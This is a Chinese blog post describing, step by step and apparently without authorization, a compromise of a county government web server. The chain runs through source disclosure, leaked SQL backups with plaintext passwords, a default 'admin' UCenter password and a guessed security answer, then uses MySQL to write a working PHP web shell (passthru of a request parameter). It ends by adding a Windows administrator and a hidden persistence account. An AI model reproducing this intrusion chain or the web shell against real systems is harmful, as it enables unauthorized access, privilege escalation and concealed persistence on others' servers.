2009年9月4日星期五

程序源码显示带来的肉鸡

近日,google时意外发现访问某网站时(下称网站A),出现的是php文件的源码,这种情况一般是由于没有正确安装配置apache所致。某县级政府网站犯这种低级错误,实在不应该。
该网站用的是discuz 6.1的模板,有使用痕迹,主页跳转到一个ip地址连续的网站(下称网站B),判定为同一单位的网站。
查看A网站文件列表发现有数据库备份的sql文件若干。逐下载后导入本地数据库,发现用户表中的用户密码为明文保存。
至此,获得多个版主的权限。
但管理员密码md5加密且无法破解。首先怀疑程序中是否对普通用户和管理员登入分开做判断,查看相关程序文件,通过与6.1标准文件的比对,除了取消md5加密外无其他修改。
同时,想起discuz需要依赖ucenter通讯,猜测地址为/ucenter正确,但其中无数据备份文件。

进入B网站的ucenter目录,尝试ucenter administrator密码为admin成功进入,获得ucenter管理员权限。

进入ucenter后,导出数据库到本地,发现discuz管理员密码为明文,但有安全提问。通过查看A网站的密码错误记录文件,记录了错误尝试的密码的部分位和安全问题编号,发现多次密码错误时安全问题编号为1,问题是”妈妈的名字?“ 猜测不会输入真实信息,于是在B 网站用admin和已获得的密码 选择妈妈的名字  尝试答案, 发现答案就是admin(ucenter密码都用admin) 至此,获得论坛系统管理员权限。

进入后发现打开了运行sql语句功能,逐运行建立用户并授予远程登入权限语句。(就知道他肯定给当前的帐号开了所有权限),成功后即可远程登入数据库了。 至此,获得数据库管理员权限。

发现其mysql版本为过时的4.0  旧版本必然漏洞多  现在就利用它可以上传二进制文件的漏洞。

网上有多个案例都是利用该漏洞上传一.dll文件  然后通过扩展到该.dll文件建立对应的mysql函数并通过该函数来实现提升权限或其他功能。

本人愚笨,尝试多次未果。
想起通过mysql+php实现, 建立一个很简单的php文件:
<?php
if ($_REQUEST['p'])
    passthru($_REQUEST['p']);
并通过一个简单的vbs将其转换为16进制表示的二进制代码 t.rar(384 B )。并加入sql建表 导入 导出等语句使其生成在指定位置(物理路径可以通过php程序错误获得)。
再通过mysql命令行调用它。
至此,可以通过web调用系统命令了(需要php.ini设置为可以执行系统命令)

加一个用户并将该用户加入administrators组中。
至此,获得该服务器的系统administrator权限,可以通过远程桌面访问(windows 2003)

登入后按照网上的方法建立一个隐藏用户 并删除当前用户。